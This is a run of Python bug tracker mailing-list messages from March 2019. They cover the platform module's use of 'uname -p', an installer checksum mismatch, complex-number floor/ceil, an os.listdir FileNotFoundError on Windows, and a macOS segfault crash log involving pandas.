Jason R. Coombs <jaraco at jaraco.com> added the comment:

> Perhaps adding a more capable API to interface to /proc/cpuinfo
would be a good idea.

The core concern I want to address is that it's not possible to use any function in the platform module without invoking "uname -p", and thus it's not possible to implement "uname" in Python. No amount of supplementary interfaces will help with that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 12:20:51 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 08 Mar 2019 17:20:51 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552065651.45.0.459630622448.issue36241@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Strange, when I visit the link again in new tab then it gives me the checksum as described by OP. But I still have the old tab open with which I wrote my comment that has 2841e92ba89a6f036305a8a07fbe9d18 (20348928 bytes) and wget at the time also had this checksum as in my comment. I am in India.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 12:21:11 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 08 Mar 2019 17:21:11 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552065671.18.0.996178604251.issue36228@roundup.psfhosted.org>


Mark Dickinson <dickinsm at gmail.com> added the comment:

> Maybe the best solution is to add functions floor and ceil to cmath module

You say "solution", but what problem would this be a solution to? So far, I don't think there's a demonstrated need to have this functionality. What is it useful for?

So IMO, the best solution is to make no change: there isn't an actual problem to be solved here. :-)

Again: what's the use-case?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Fri Mar  8 12:22:58 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Fri, 08 Mar 2019 17:22:58 +0000
Subject: [issue36243] Python os.listdir fails with FileNotFoundError when
 directory exists
Message-ID: <1552065778.9.0.101043375175.issue36243@roundup.psfhosted.org>


New submission from Geoff Alexander <gdlxn at us.ibm.com>:

I have the following code:

```
    def handle_empty_directories(dir):
        if os.path.exists(dir):
            shouter.shout("%s exists" % dir)
        else:
           shouter.shout("%s doesn't exists" % dir)
        entries = os.listdir(dir)
        if entries == []:
            open(os.path.join(dir, Commiter.hed_file), "w").close()
        else:
            if (len(entries) > 1) and (Commiter.hed_file in entries):
                os.remove(os.path.join(dir, Commiter.hed_file))
            for entry in entries:
                if entry not in Commiter.hed_ignore:
                    full_entry = os.path.join(dir, entry)
                    if (os.path.isdir(full_entry)):
                        Commiter.handle_empty_directories(full_entry)
```

Occasionally, the call to os.listdir(dir) fails with FileNotFoundError even though the os.path.exists(dir) call says that exists:

```
    08:57:56 - C:\r2g-wd\sport-6.0.5\SBS\SBS\Light\bin\com\ibm\ArtifactTechnology\ABS\ArtifactBroker exists
    Traceback (most recent call last):
      File "migration.py", line 169, in 
        migrate()
      File "migration.py", line 80, in migrate
        rtc.acceptchangesintoworkspace(rtc.getchangeentriestoaccept(changeentries, history))
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\rtcFunctions.py", line 304, in acceptchangesintoworkspace
        Commiter.handle_empty_directories(os.getcwd())
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 126, in handle_empty_directories
        Commiter.handle_empty_directories(full_entry)
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 126, in handle_empty_directories
        Commiter.handle_empty_directories(full_entry)
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 126, in handle_empty_directories
        Commiter.handle_empty_directories(full_entry)
      [Previous line repeated 6 more times]
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 116, in handle_empty_directories
        entries = os.listdir(dir)
    FileNotFoundError: [WinError 3] The system cannot find the path specified: 'C:\\r2g-wd\\sport-6.0.5\\SBS\\SBS\\Light\\bin\\com\\ibm\\ArtifactTechnology\\ABS\\ArtifactBroker'
```

I've also seen a similar FileNoteFound on the 

```
            open(os.path.join(dir, Commiter.hed_file), "w").close()
```

line when os.path.exists(dir) says that the directory exists.

How can this happen? I'm running Python 3.7.2 64-bit on Windows 10.

----------
components: Windows
messages: 337516
nosy: Geoff.Alexander, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Python os.listdir fails with FileNotFoundError when directory exists
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36243>
_______________________________________

From report at bugs.python.org  Fri Mar  8 12:26:09 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 08 Mar 2019 17:26:09 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1552064418.68.0.171775434915.issue35967@roundup.psfhosted.org>
Message-ID: <0728fd44-3b47-e0b3-22b6-78fbad1c3a70@egenix.com>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

On 08.03.2019 18:00, Jason R. Coombs wrote:
> 
>> Perhaps adding a more capable API to interface to /proc/cpuinfo
> would be a good idea.
> 
> The core concern I want to address is that it's not possible to use any function in the platform module without invoking "uname -p", and thus it's not possible to implement "uname" in Python. No amount of supplementary interfaces will help with that.

I don't know where you get that idea from. The uname family of APIs
do use "uname -p" on platforms where this exists, but the other
ones don't.

It's also easy to bypass that by simply seeding the global cache
for uname(): _uname_cache. Or you could call your utility
something else. Or you could monkey-patch the platform module
in your utility to work around the circular reference.

To be clear: I do not consider your use case to be particularly common
enough to warrant changes to the module, but would welcome additions
which bring more or better functionality to the module, e.g. having
the processor variable return meaningful where it previously did
not (ie. uname() return '' for the processor entry), or adding
another API to provide more detailed information.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Thu Mar  7 08:07:19 2019
From: report at bugs.python.org (Xin Wang)
Date: Thu, 07 Mar 2019 13:07:19 +0000
Subject: [issue36224] Python quit unexpectedly error
Message-ID: <1551964039.54.0.549663793751.issue36224@roundup.psfhosted.org>


New submission from Xin Wang <imrwangxin at gmail.com>:

I face the same error with https://bugs.python.org/issue36154, but the solution is not work for me. So I want to show you my error.

I'm on a Mac running Mojave, version 10.14.3. I installed Python 3.7.2.
I am using vscode. It is work fine in command line.

Process:               Python [6855]
Path:                  /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python
Identifier:            Python
Version:               3.7.2 (3.7.2)
Code Type:             X86-64 (Native)
Parent Process:        Microsoft.Python.LanguageServer [6775]
Responsible:           Python [6855]
User ID:               501

Date/Time:             2019-03-07 20:56:29.311 +0800
OS Version:            Mac OS X 10.14.3 (18D109)
Report Version:        12
Bridge OS Version:     3.3 (16P3133)
Anonymous UUID:        9BB7B8DF-31FF-DE9B-C98A-12906B656226

Sleep/Wake UUID:       ACC9C63D-DFE1-42FE-8E68-5C3942745A62

Time Awake Since Boot: 3000 seconds
Time Since Wake:       1000 seconds

System Integrity Protection: enabled

Crashed Thread:        0  Dispatch queue: com.apple.main-thread

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Segmentation fault: 11
Termination Reason:    Namespace SIGNAL, Code 0xb
Terminating Process:   exc handler [6855]

VM Regions Near 0:
--> 
    __TEXT                 0000000103540000-0000000103542000 [    8K] r-x/rwx SM=COW  /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   algos.cpython-37m-darwin.so   	0x00000001132d2520 __pyx_pf_6pandas_5_libs_5algos_600__defaults__ + 32
1   algos.cpython-37m-darwin.so   	0x0000000113422ed0 __Pyx_CyFunction_get_kwdefaults + 48
2   org.python.python             	0x000000010356655c getset_get + 58
3   org.python.python             	0x000000010358db50 _PyObject_GenericGetAttrWithDict + 181
4   org.python.python             	0x000000010358da40 _PyObject_LookupAttr + 166
5   org.python.python             	0x00000001035eb1c4 builtin_getattr + 141
6   org.python.python             	0x0000000103561637 _PyMethodDef_RawFastCallKeywords + 496
7   org.python.python             	0x0000000103560bd3 _PyCFunction_FastCallKeywords + 44
8   org.python.python             	0x00000001035f65f0 call_function + 636
9   org.python.python             	0x00000001035ef2cf _PyEval_EvalFrameDefault + 7174
10  org.python.python             	0x0000000103560fae function_code_fastcall + 112
11  org.python.python             	0x00000001035f6665 call_function + 753
12  org.python.python             	0x00000001035ef2cf _PyEval_EvalFrameDefault + 7174
13  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
14  org.python.python             	0x0000000103560b98 _PyFunction_FastCallKeywords + 225
15  org.python.python             	0x00000001035f6665 call_function + 753
16  org.python.python             	0x00000001035ef375 _PyEval_EvalFrameDefault + 7340
17  org.python.python             	0x0000000103560fae function_code_fastcall + 112
18  org.python.python             	0x00000001035f6665 call_function + 753
19  org.python.python             	0x00000001035ef2cf _PyEval_EvalFrameDefault + 7174
20  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
21  org.python.python             	0x0000000103560b98 _PyFunction_FastCallKeywords + 225
22  org.python.python             	0x00000001035f6665 call_function + 753
23  org.python.python             	0x00000001035ef218 _PyEval_EvalFrameDefault + 6991
24  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
25  org.python.python             	0x0000000103560801 _PyFunction_FastCallDict + 441
26  org.python.python             	0x0000000103561931 _PyObject_Call_Prepend + 150
27  org.python.python             	0x000000010359f05c slot_tp_init + 80
28  org.python.python             	0x000000010359bd28 type_call + 178
29  org.python.python             	0x0000000103560a39 _PyObject_FastCallKeywords + 359
30  org.python.python             	0x00000001035f665e call_function + 746
31  org.python.python             	0x00000001035ef375 _PyEval_EvalFrameDefault + 7340
32  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
33  org.python.python             	0x0000000103560801 _PyFunction_FastCallDict + 441
34  org.python.python             	0x0000000103561931 _PyObject_Call_Prepend + 150
35  org.python.python             	0x000000010359f05c slot_tp_init + 80
36  org.python.python             	0x000000010359bd28 type_call + 178
37  org.python.python             	0x0000000103560a39 _PyObject_FastCallKeywords + 359
38  org.python.python             	0x00000001035f665e call_function + 746
39  org.python.python             	0x00000001035ef375 _PyEval_EvalFrameDefault + 7340
40  org.python.python             	0x0000000103560fae function_code_fastcall + 112
41  org.python.python             	0x00000001035f6665 call_function + 753
42  org.python.python             	0x00000001035ef218 _PyEval_EvalFrameDefault + 6991
43  org.python.python             	0x0000000103560fae function_code_fastcall + 112
44  org.python.python             	0x00000001035f6665 call_function + 753
45  org.python.python             	0x00000001035ef218 _PyEval_EvalFrameDefault + 6991
46  org.python.python             	0x00000001035f6ef7 _PyEval_EvalCodeWithName + 1835
47  org.python.python             	0x00000001035ed626 PyEval_EvalCode + 51
48  org.python.python             	0x000000010361c2a5 run_mod + 54
49  org.python.python             	0x000000010361b2c0 PyRun_FileExFlags + 164
50  org.python.python             	0x000000010361a97a PyRun_SimpleFileExFlags + 266
51  org.python.python             	0x00000001036336a2 pymain_main + 5614
52  org.python.python             	0x0000000103633ca4 _Py_UnixMain + 56
53  libdyld.dylib                 	0x00007fff65b37ed9 start + 1

Thread 1:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 2:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 3:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 4:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 5:
0   libsystem_kernel.dylib        	0x00007fff65c747de __psynch_cvwait + 10
1   libsystem_pthread.dylib       	0x00007fff65d2e593 _pthread_cond_wait + 724
2   libopenblasp-r0.3.5.dev.dylib 	0x000000010435ea3b blas_thread_server + 619
3   libsystem_pthread.dylib       	0x00007fff65d2b305 _pthread_body + 126
4   libsystem_pthread.dylib       	0x00007fff65d2e26f _pthread_start + 70
5   libsystem_pthread.dylib       	0x00007fff65d2a415 thread_start + 13

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000000000000  rbx: 0x0000000103c7c7b8  rcx: 0x0000000103c7c7a0  rdx: 0x0000000114c0d570
  rdi: 0x0000000103c7c7d0  rsi: 0x0000000000000000  rbp: 0x00007ffeec6bd380  rsp: 0x00007ffeec6bd370
   r8: 0x0000000000000003   r9: 0x00007ffeec6bd430  r10: 0x0000000000000002  r11: 0x00007ffeec6bd488
  r12: 0x000000011348dc78  r13: 0x0000000113435698  r14: 0x000000011348dc78  r15: 0x0000000000000000
  rip: 0x00000001132d2520  rfl: 0x0000000000010206  cr2: 0x0000000000000000
  
Logical CPU:     2
Error Code:      0x00000004
Trap Number:     14


Binary Images:
       0x103540000 -        0x103541fff +org.python.python (3.7.2 - 3.7.2) <6C779152-9270-3595-AC18-9BC057864DEE> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python
       0x103547000 -        0x1036cdff7 +org.python.python (3.7.2, [c] 2001-2018 Python Software Foundation. - 3.7.2) <381588BD-EEDC-3DDD-8D65-0F7F54729B70> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/Python
       0x1039cb000 -        0x1039ccfff +_heapq.cpython-37m-darwin.so (0) <7F27633E-D5A9-3E71-9B65-5F276DB2F7E5> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_heapq.cpython-37m-darwin.so
       0x103a50000 -        0x103a50fff +_opcode.cpython-37m-darwin.so (0) <1140A364-57E0-3A5E-B63A-4ED7D1FD1C7C> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_opcode.cpython-37m-darwin.so
       0x103a93000 -        0x103baaff7 +libgfortran.3.dylib (0) <9ABE5EDE-AD43-391A-9E54-866711FAC32A> /usr/local/lib/python3.7/site-packages/numpy/.dylibs/libgfortran.3.dylib
       0x103c0e000 -        0x103c23ff7 +libgcc_s.1.dylib (0) <7C6D7CB7-82DB-3290-8181-07646FEA1F80> /usr/local/lib/python3.7/site-packages/numpy/.dylibs/libgcc_s.1.dylib
       0x103c2f000 -        0x103c33ffb +math.cpython-37m-darwin.so (0) <8B464989-661E-35CC-9B75-0E752410BBEE> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so
       0x103c39000 -        0x103c44ff3 +_datetime.cpython-37m-darwin.so (0) <C0189868-7281-38C0-81FA-350D332F475C> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_datetime.cpython-37m-darwin.so
       0x103c4d000 -        0x103c4dfff +_bisect.cpython-37m-darwin.so (0) <9BAE67A9-0F97-382B-A43A-310CFA6003DC> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_bisect.cpython-37m-darwin.so
       0x103cd0000 -        0x103f19fff +_multiarray_umath.cpython-37m-darwin.so (0) <769348C2-AC85-3707-965E-164C9AF0FC87> /usr/local/lib/python3.7/site-packages/numpy/core/_multiarray_umath.cpython-37m-darwin.so
       0x104028000 -        0x107a9750f +libopenblasp-r0.3.5.dev.dylib (0) <ACE169E8-3E50-3B05-BDD8-316C75CD4430> /usr/local/lib/python3.7/site-packages/numpy/.dylibs/libopenblasp-r0.3.5.dev.dylib
       0x107cd6000 -        0x107d0cfff +libquadmath.0.dylib (0) <7FFA409F-FB04-3B64-BE9A-3E3A494C975E> /usr/local/lib/python3.7/site-packages/numpy/.dylibs/libquadmath.0.dylib
       0x109e24000 -        0x109e33fff +_ctypes.cpython-37m-darwin.so (0) <B5B8EC0B-D3E8-3438-9CB5-DCD37E8A884E> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_ctypes.cpython-37m-darwin.so
       0x109e3e000 -        0x109e41fff +_struct.cpython-37m-darwin.so (0) <D5C08DBC-5909-31B5-85D0-8FC2BFA85B14> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_struct.cpython-37m-darwin.so
       0x109e88000 -        0x109e94fff +_pickle.cpython-37m-darwin.so (0) <EC7F2E5D-F1AD-3277-BA96-5EE4E540662F> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_pickle.cpython-37m-darwin.so
       0x109f4c000 -        0x109f59ff7 +_multiarray_tests.cpython-37m-darwin.so (0) <087E0B69-E694-39C1-A11B-28381B01E6D1> /usr/local/lib/python3.7/site-packages/numpy/core/_multiarray_tests.cpython-37m-darwin.so
       0x109fa8000 -        0x109fa9ff7 +lapack_lite.cpython-37m-darwin.so (0) <02B5EDB3-0501-3B8C-AA95-BE1A95DCB335> /usr/local/lib/python3.7/site-packages/numpy/linalg/lapack_lite.cpython-37m-darwin.so
       0x109fad000 -        0x109fc6fff +_umath_linalg.cpython-37m-darwin.so (0) <0DF55942-F257-362F-AB62-C821F1833E7B> /usr/local/lib/python3.7/site-packages/numpy/linalg/_umath_linalg.cpython-37m-darwin.so
       0x10a094000 -        0x10a097fff +zlib.cpython-37m-darwin.so (0) <95AA4B1E-D850-3D25-977D-9096B45CE49F> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/zlib.cpython-37m-darwin.so
       0x10a09c000 -        0x10a09dfff +_bz2.cpython-37m-darwin.so (0) <ED995F35-FBB9-3476-99B4-328046BCAA1D> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_bz2.cpython-37m-darwin.so
       0x10a0a1000 -        0x10a0a4ff7 +_lzma.cpython-37m-darwin.so (0) <2D2DC3F6-730B-3B9D-BE45-C22CC1BE46EE> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_lzma.cpython-37m-darwin.so
       0x10a0a9000 -        0x10a0c4ff3 +liblzma.5.dylib (0) <D5E25B2B-6DFB-3233-850B-65F488A14688> /usr/local/opt/xz/lib/liblzma.5.dylib
       0x10a0ca000 -        0x10a0cbfff +grp.cpython-37m-darwin.so (0) <62B795FB-63F1-31E1-91BA-E5A6F3DAED83> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/grp.cpython-37m-darwin.so
       0x10a10e000 -        0x10a13bffb +_decimal.cpython-37m-darwin.so (0) <7E9520C5-B012-30A8-9A93-368E23D68E60> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_decimal.cpython-37m-darwin.so
       0x10a14e000 -        0x10a157fff +fftpack_lite.cpython-37m-darwin.so (0) <055401C0-788C-39AE-8DF6-6323AE59FA3C> /usr/local/lib/python3.7/site-packages/numpy/fft/fftpack_lite.cpython-37m-darwin.so
       0x10a1db000 -        0x10a28bfff +mtrand.cpython-37m-darwin.so (0) <4123AC81-9ADC-329E-80F4-CC070F39ABEA> /usr/local/lib/python3.7/site-packages/numpy/random/mtrand.cpython-37m-darwin.so
       0x10a52e000 -        0x10a531fff +_hashlib.cpython-37m-darwin.so (0) <59C7B4CB-F53D-34B6-8859-40BCB1DB9969> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_hashlib.cpython-37m-darwin.so
       0x10a535000 -        0x10a53affb +_blake2.cpython-37m-darwin.so (0) <799AA4CB-768B-3A94-9596-83EF1194563B> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_blake2.cpython-37m-darwin.so
       0x10a53e000 -        0x10a53ffff +_random.cpython-37m-darwin.so (0) <96AB86A6-4976-3E2D-98C3-75715A9BD9AC> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_random.cpython-37m-darwin.so
       0x10a542000 -        0x10a543fff +_posixsubprocess.cpython-37m-darwin.so (0) <0A337549-BF12-349B-A4EE-6DBFC12B0E71> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_posixsubprocess.cpython-37m-darwin.so
       0x10a546000 -        0x10a547fff +_scproxy.cpython-37m-darwin.so (0) <2672629C-CEF4-3C9C-9CF1-90CE6C311723> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_scproxy.cpython-37m-darwin.so
       0x10a54a000 -        0x10a5c8a87  dyld (655.1) <3EBA447F-A546-366B-B302-8DC3B21A3E30> /usr/lib/dyld
       0x11262b000 -        0x11266bff7 +libssl.1.0.0.dylib (0) <0939E9FE-CAF8-3E1B-8635-15C0FD7D13CD> /usr/local/opt/openssl/lib/libssl.1.0.0.dylib
       0x11268a000 -        0x1127dde97 +libcrypto.1.0.0.dylib (0) <A6F555BF-9F61-3BC9-9488-4E267E29E718> /usr/local/opt/openssl/lib/libcrypto.1.0.0.dylib
       0x112856000 -        0x112866fff +_sha3.cpython-37m-darwin.so (0) <D2FD0138-C2DB-31EC-96FF-4773DC5F79A8> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_sha3.cpython-37m-darwin.so
       0x1128eb000 -        0x1128eefff +select.cpython-37m-darwin.so (0) <35125464-971F-3291-A292-BEA60522E76C> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/select.cpython-37m-darwin.so
       0x1128f3000 -        0x1129f1fff +unicodedata.cpython-37m-darwin.so (0) <CC2D9BAE-60E6-34D8-8138-0CA99A507D1B> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/unicodedata.cpython-37m-darwin.so
       0x112a36000 -        0x112a39ff7 +binascii.cpython-37m-darwin.so (0) <8C089B49-431D-3BF7-A131-BAF8FFAF598A> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/binascii.cpython-37m-darwin.so
       0x112a7d000 -        0x112a85ffb +_socket.cpython-37m-darwin.so (0) <44AD2731-61B4-3305-8316-4BCF061144D7> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_socket.cpython-37m-darwin.so
       0x112ad0000 -        0x112adcfff +_ssl.cpython-37m-darwin.so (0) <5E8C483F-7EE2-3A1D-9CA3-0269880A962F> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_ssl.cpython-37m-darwin.so
       0x112baa000 -        0x112bfffff +conversion.cpython-37m-darwin.so (0) <A939A20F-5DA1-36FB-A88E-552229EA6258> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/conversion.cpython-37m-darwin.so
       0x112c21000 -        0x112c40fff +nattype.cpython-37m-darwin.so (0) <BC58626B-6D02-3476-8364-840D577259C8> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/nattype.cpython-37m-darwin.so
       0x112c58000 -        0x112c60ff7 +np_datetime.cpython-37m-darwin.so (0) <ECDA1AC9-F3C6-3097-9999-8C853C70D32D> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/np_datetime.cpython-37m-darwin.so
       0x112ca8000 -        0x112cfdfff +timedeltas.cpython-37m-darwin.so (0) <AD476F5B-E030-3C25-88AF-C415EF879798> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/timedeltas.cpython-37m-darwin.so
       0x112d2b000 -        0x112d74ff7 +offsets.cpython-37m-darwin.so (0) <BEE9D666-FB2C-3593-90B5-36EBBD2FDDEA> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/offsets.cpython-37m-darwin.so
       0x112da2000 -        0x112daafff +ccalendar.cpython-37m-darwin.so (0) <D095C458-D957-3972-B3C4-035CC36D96F0> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/ccalendar.cpython-37m-darwin.so
       0x112db4000 -        0x112dffff3 +strptime.cpython-37m-darwin.so (0) <09C522CB-2EC8-380A-AB54-235C67928CE5> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/strptime.cpython-37m-darwin.so
       0x112e27000 -        0x112e4dff3 +timezones.cpython-37m-darwin.so (0) <16415963-564E-390C-B318-B5F3109B89A2> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/timezones.cpython-37m-darwin.so
       0x112e63000 -        0x112ea7fff +parsing.cpython-37m-darwin.so (0) <47A20BA2-1541-315D-A879-DB13B1E07BA4> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/parsing.cpython-37m-darwin.so
       0x112ecc000 -        0x112f22fff +period.cpython-37m-darwin.so (0) <9E197B72-D4BD-3B60-995F-5290E0007380> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/period.cpython-37m-darwin.so
       0x112f4c000 -        0x112f5fff3 +frequencies.cpython-37m-darwin.so (0) <B65BF7FB-58EE-379B-AC60-6ED3883B9C40> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/frequencies.cpython-37m-darwin.so
       0x112fb0000 -        0x11300eff3 +timestamps.cpython-37m-darwin.so (0) <C569BBBF-AF24-3CE6-81D8-6CBCA3961B0A> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/timestamps.cpython-37m-darwin.so
       0x113043000 -        0x11306fff3 +fields.cpython-37m-darwin.so (0) <349B90A2-DECC-3503-9478-900D35915925> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/fields.cpython-37m-darwin.so
       0x113089000 -        0x1130b5fff +resolution.cpython-37m-darwin.so (0) <128076C0-660A-3D38-BC49-87367346D047> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslibs/resolution.cpython-37m-darwin.so
       0x1130d3000 -        0x113147ff3 +hashtable.cpython-37m-darwin.so (0) <267B4E03-6B36-30F3-BB27-4FFFCB96FA5B> /usr/local/lib/python3.7/site-packages/pandas/_libs/hashtable.cpython-37m-darwin.so
       0x113178000 -        0x113185ffb +missing.cpython-37m-darwin.so (0) <B8612A00-D075-359B-93D3-1E4C59B8D0F8> /usr/local/lib/python3.7/site-packages/pandas/_libs/missing.cpython-37m-darwin.so
       0x11318f000 -        0x1131e0ffb +lib.cpython-37m-darwin.so (0) <8F7A8A70-7286-3EAF-BC1E-4AD621DF7452> /usr/local/lib/python3.7/site-packages/pandas/_libs/lib.cpython-37m-darwin.so
       0x11320e000 -        0x113248ff3 +tslib.cpython-37m-darwin.so (0) <F112B2F5-BE30-3507-B39A-2B591B5EC028> /usr/local/lib/python3.7/site-packages/pandas/_libs/tslib.cpython-37m-darwin.so
       0x1132a3000 -        0x11342aff7 +algos.cpython-37m-darwin.so (0) <16336DC5-B61A-30AC-B97E-FD05DDFD50A6> /usr/local/lib/python3.7/site-packages/pandas/_libs/algos.cpython-37m-darwin.so
       0x1134be000 -        0x11366dfff +interval.cpython-37m-darwin.so (0) <71B0E9EE-9468-396C-969B-15BD1C857673> /usr/local/lib/python3.7/site-packages/pandas/_libs/interval.cpython-37m-darwin.so
